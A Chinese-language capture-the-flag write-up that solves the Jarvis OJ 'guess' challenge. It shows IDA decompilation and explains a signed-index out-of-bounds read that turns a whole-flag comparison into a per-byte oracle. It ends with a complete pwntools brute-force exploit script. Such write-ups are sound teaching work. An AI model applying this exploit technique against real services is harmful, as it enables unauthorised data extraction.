简介 :
你猜，你猜，你猜不到，你猜对了就给你flag
**nc pwn.jarvisoj.com 9878**
[guess.0eff3b4fdf70b3d7c2108758691c9be3](https://dn.jarvisoj.com/challengefiles/guess.0eff3b4fdf70b3d7c2108758691c9be3)
花了一下午做了这一道题 , 感觉挺有意思的 , 最后也是找了 WriteUp才做出来
分析 :
这是一个标准的 socket 服务器模型 , 使用 fork() 而不是多线程来处理客户端请求
使用 fork() 来处理客户端请求和使用多线程对我们之后进行动态调试会有影响
因为 fork() 函数会在操作系统中产生一个新的进程 ,
这样使用 ida 进行远程 attach 的时候就要找到子进程进行调试
因为业务逻辑的处理都在子进程里面 , 这里使用 handle 函数
handle 函数将用户输入读取到 栈 上 , 但是这里缓冲区大小与 gets 读取的字节数相同 , 因此并不存在缓冲区溢出漏洞
在 handle 函数中 , 存在一个计时器函数 , 这会影响我们对程序进行动态跟踪 , 这里我们对其的处理是将其 nop 掉 , 使用 ida 的具体流程如下 :
Menu->Options->General
这样就完成了一次 patch , 然后重新将程序载入 ida , 可以看到 alarm 函数已经被 patch 掉了
注意到这里存在函数 is_flag_correct , 进入函数看看
发现 flag 字符串 , 这里默认显示为整形 , 点击右键可以将其转换为字符串
我们可以尝试进行动态调试 , 首先运行程序 , 启动服务器 , 该程序监听 9999 端口
可以通过 pidof 命令来找到正在运行的 服务器程序 的 pid 号 , 可以用于区分子进程与父进程
这里当我们使用 nc 连接到本地的 9999 端口的时候 , 再执行 pidof 就可以发现存在新的进程
而这个进行就是用于处理客户端请求的子进程
然后我们就可以打开 ida 按照正常的流程进行连接调试了
现在我们来重点关注一下这里的验证函数 :
__int64 __fastcall is_flag_correct(char *flag_hex)
{
unsigned int v1; // eax@2
char given_flag[50]; // [sp+10h] [bp-190h]@4
char flag[50]; // [sp+50h] [bp-150h]@4
char bin_by_hex[256]; // [sp+90h] [bp-110h]@4
char value2; // [sp+192h] [bp-Eh]@5
char value1; // [sp+193h] [bp-Dh]@5
int i_0; // [sp+194h] [bp-Ch]@11
char diff; // [sp+19Bh] [bp-5h]@11
int i; // [sp+19Ch] [bp-4h]@4
if ( strlen(flag_hex) != 100 )
{
v1 = strlen(flag_hex);
printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
exit(0);
}
qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
*(_DWORD *)flag = 'EKAF';
*(_DWORD *)&flag[4] = '3b9{';
*(_DWORD *)&flag[8] = '3e55';
*(_DWORD *)&flag[12] = '2d49';
*(_DWORD *)&flag[16] = 'e070';
*(_DWORD *)&flag[20] = 'd0db';
*(_DWORD *)&flag[24] = '591f';
*(_DWORD *)&flag[28] = '2b8d';
*(_DWORD *)&flag[32] = '0543';
*(_DWORD *)&flag[36] = '2cc9';
*(_DWORD *)&flag[40] = '2729';
*(_DWORD *)&flag[44] = '14cb';
*(_WORD *)&flag[48] = '}2';
bzero(given_flag, 0x32uLL);
for ( i = 0; i <= 49; ++i )
{
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
if ( value1 == -1 || value2 == -1 )
{
puts("bad input GÇô one of the characters you supplied was not a valid hex character!");
exit(0);
}
given_flag[i] = value2 | 16 * value1;
}
diff = 0;
for ( i_0 = 0; i_0 <= 49; ++i_0 )
diff |= flag[i_0] ^ given_flag[i_0];
return diff == 0;
}
首先这里的
qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
// 将程序中的 0x401100 的位置的数据复制到栈上 bin_by_hex
来看看这里的数据到底是什么 :
可以发现 , 这里总共有 256 字节 , 除了 ASCII 码 0-9 以及大小写 ABCDEF 以外全部都是 0xFF
这里 flag 这个变量的值为 :
char *flag = "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}";
// 是保存在栈上的 , 长度 50 字节
用户的输入的字符串的地址为 flag_hex
用户输入的字符串的长度应该是 100 个
将用户输入的字符串每两个字符为一组进行循环处理 , 处理 50 次
具体的处理过程为 :
根据用户输入的字符串从 bin_by_hex 这个数组中找到对应的值 , 例如用户输入的是 'A'
那么得到的值就是 bin_by_hex 这个字符数组的第 ord('A') 个元素的值 , 其实也就是 0x0A
这里会判断用户输入的数据经过 bin_by_hex 进行一次寻址后得到的值
是不是 01234567789abcdef 或者是 0123456789ABCDEF
如果不在这个范围内就会直接退出
如果在这个范围内就会执行 :
given_flag[i] = value2 | 16 * value1;
// 也就是将栈上的 given_flag 数据进行填充
其实这个循环做的事情就是将用户输入的 16 进制字符串转换为真正的字符串并保存在 given_flag 中
然后再对 given_flag 和 flag(真正的 flag) 进行比较 , 根据比较的结果再返回
我们这个时候可以来看一下这个函数的栈布局 :
可以看到 bin_by_hex 的地址是要高于 flag 的地址的
我们可以想一下 , 题目中有没有什么比较奇怪的地方
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
given_flag[i] = value2 | 16 * value1;
这里程序使用了 bin_by_hex 这样的形式进行了一次内存寻址
目的是为了将 16 进制字符串转换为 真正的字符串
可是这里为什么不直接使用现成的转换算法 , 而是使用 bin_by_hex 进行一次内存寻址呢 ?
对 , 漏洞就存在于这里
我们知道 , 在 C 语言中 , 数组名称就相当于是数组的首地址
要访问数组的某一个元素 , 可以使用 数组名[索引] 这样的形式来访问
这种访问形式实际上进行的操作是这样的 , 例如 :
int array[] = {1,2,3,4,5,6,7,8,9,0};
// array[0] -> 1
// array[1] -> 2
// array[2] -> 3
// array[3] -> 4
// array[4] -> 5
// 实际上就是相当于 :
// (int *)(array + sizeof(int) * 0) -> 1
// (int *)(array + sizeof(int) * 1) -> 2
// (int *)(array + sizeof(int) * 2) -> 3
// array[0] 事实上可以写成 [0]array
// 关于数组于指针详情请参考 <<征服C指针>> 这本书 , 非常推荐
既然 array[index] 就等价于 array + index 这种形式
那么如果 index 是一个负数呢
在这道题中 , 我们可以想象一下 , 如果 :
flag_hex[2 * i] 是一个负数
或者
flag_hex[2 * i + 1] 是一个负数
那么 value1 和 value2 就有可能是栈上的比 bin_by_hex 数组首地址还低的内存数据
幸运的是如果这种方法可以访问到栈上更低内存的数据 , 我们就可以访问到真正的 flag
根据之前的栈布局图就可以看到 , flag 的首地址与 bin_by_hex 的首地址只相差 0x40 = 64 字节
那么 , 如果我们可以控制 value1 与 value2 使其结合成为一个字符的时候恰好就是 flag
这样在下面对 flag 的判断中 , 我们就可以让程序返回 1
也就是在我们并不知道真实的 flag 的情况下绕过了这里的判断
为了先能达到这个目的 , 我们需要实现以下几个条件 ;
1. 控制 value1 与 value2
2. 不能让 value1 与 value2 中的任意一个等于 -1 (0xFF)
3. value1 * 16 + value2 等于 flag 中的对应字符
首先来看条件 1 :
value1 事实上就是 bin_by_hex 加上一个偏移后得到的内存地址的值
而这个偏移就是用户的输入 , 可以根据我们的输入进行控制
那么也就是说 , 我们可以通过控制输入 , 来让 value1 的值为 bin_by_hex 的地址的前后 128 字节的地址空间的任意值
value2 也是同理
之前的分析中我们得到 flag 的首地址与 bin_by_hex 相差 0x40 = 64 字节 , 刚好在 [-128, 127] 这个范围内
那么我们就能控制 value1 和 value2 为任意值了 , 而且也能让它们等于真正的 flag 的指定字节
然后我们再看看程序得到 value1 value2 之后做了什么
判断了 value2 value1 是否为 -1 (0xFF)
根据上面的分析 , 我们都可以任意控制 value1 和 value2 了 , 那么这个可以直接绕过
条件三 , 这里我们只需要将 value1 设置为 0 , 然后将 value2 设置为 flag 的指定字符
这样计算出的 given_flag 就会和真正的 flag 是完全相同的
那么在后面的判断中也就会通过了
可是...
我们现在只是能让程序自己觉得 flag 是对的 , 但是我们并不能知道 flag 究竟是啥...
接下来 , 我们进行进一步的分析 :
我们来分析一下程序的输出 :
当 flag 是正确的的时候 , 会输出 Yaaaay...
而 flag 是错误的时候 , 会输出 Nope
那么既然我们现在已经可以将 given_flag 设置为 真正的 flag 了
那么我们只需要进行一个字节的改动 , given_flag 就不能通过校验了
那么我们只需要遍历 256 种情况 , 当某一个情况程序输出了 Yaaaay... 的时候 , 就说明我们猜对了
根据这样的思想我们就可以一个字节一个字节猜出 flag 的所有字节
这样就可以拿到 flag 了
下面给出一个利用脚本 :
#!/usr/bin/env python
# coding:utf-8
from pwn import *
import sys
import os
context.log_level = 21 # pwntools 的日志等级 , 不输出日志
def clear_screen():
os.system("clear")
def list2str(l):
return ''.join(str(i) for i in l)
def print_progess(content):
sys.stdout.write(content + '\r')
sys.stdout.flush()
def get_true_flag_payload():
offset = (-0x110) - (-0x150)
base = 0x100 - offset
payload = ""
for i in range(50):
payload += "0" + chr(base)
base += 1
return payload
def get_guess_payload(index, char):
true_flag_payload = list(get_true_flag_payload())
high = ("%02x" % char)[0]
low = ("%02x" % char)[1]
true_flag_payload[index * 2 + 0] = high
true_flag_payload[index * 2 + 1] = low
return list2str(true_flag_payload)
def guess_once(payload):
Io = remote(HOST, PORT)
Io.readuntil(">")
Io.sendline(payload)
response = Io.readline()
Io.close()
return ("Yaaaay!" in response)
def guess(length):
flag = ""
TOTAL = FLAG_LENGTH * len(string.printable)
GUESSED = 0
for i in range(FLAG_LENGTH):
for j in string.printable:
clear_screen()
print "[%s] Flag : %s" % (PROGRESS[GUESSED % len(PROGRESS)], flag)
print_progess("[+] Guessing (%s%%) : [%s]" %
(str(GUESSED * 100.0 / TOTAL), j))
payload = get_guess_payload(i, ord(j))
GUESSED += 1
if guess_once(payload):
GUESSED = i * len(string.printable)
flag += j
break
clear_screen()
GUESSED = TOTAL
print "[+] Flag : %s" % (flag)
return flag
PROGRESS = ['-', '\\', '|', '/']
FLAG_LENGTH = 50
HOST = "pwn.jarvisoj.com"
PORT = 9878
guess(FLAG_LENGTH)
后记 :
一般我们在爆破的时候 , 很多情况都是逐个字节进行猜测 ,
也就是说 , 我们其实是并不知道目标数据的
程序一般会在逐个字符判断 , 一旦某一个字符不匹配就立马产生错误的输出 ,
这样我们就可以根据逐个输出来判断猜测的是不是对的
上面说的这种情情况代码样例应该长这样 :
diff = 0;
for ( i_0 = 0; i_0 <= 49; ++i_0 ){
diff |= flag[i_0] ^ given_flag[i_0];
if (diff != 0){
printf("nop");
exit(1);
}
}
printf("Yaaaa...")
但是这道题的不同之处就在于 , 这里是将用户输出与 flag 整体比对完成以后才产生输出
实际上安装上面的思路 , 我们是不可能对 flag 进行逐个字节进行猜解的
因为我们并不能通过一次简单的输入就判断当前猜测的字符是不是正确的
我们只能知道 flag 整体对不对 , 而不是单个字节
但是这道题通过数组索引寻址来让我们可以首先控制 given_flag 为真正的 flag
这样我们就可以达到逐个字节进行猜解的效果
做完了这个题目 , 感觉 pwn 真的是一种艺术
戴着镣铐跳舞的艺术
类似的题目可以参考 :
UIUCTF-2017-pwn200-GoodLuck : https://uiuc.tf/challenge/goodluck/
UIUCTF这个题目我把它部署在了 SniperOJ 上 , 如果 UIUCTF 的题目下线了的话
可以在这里找到这个题目 :
http://sniperoj.cn/
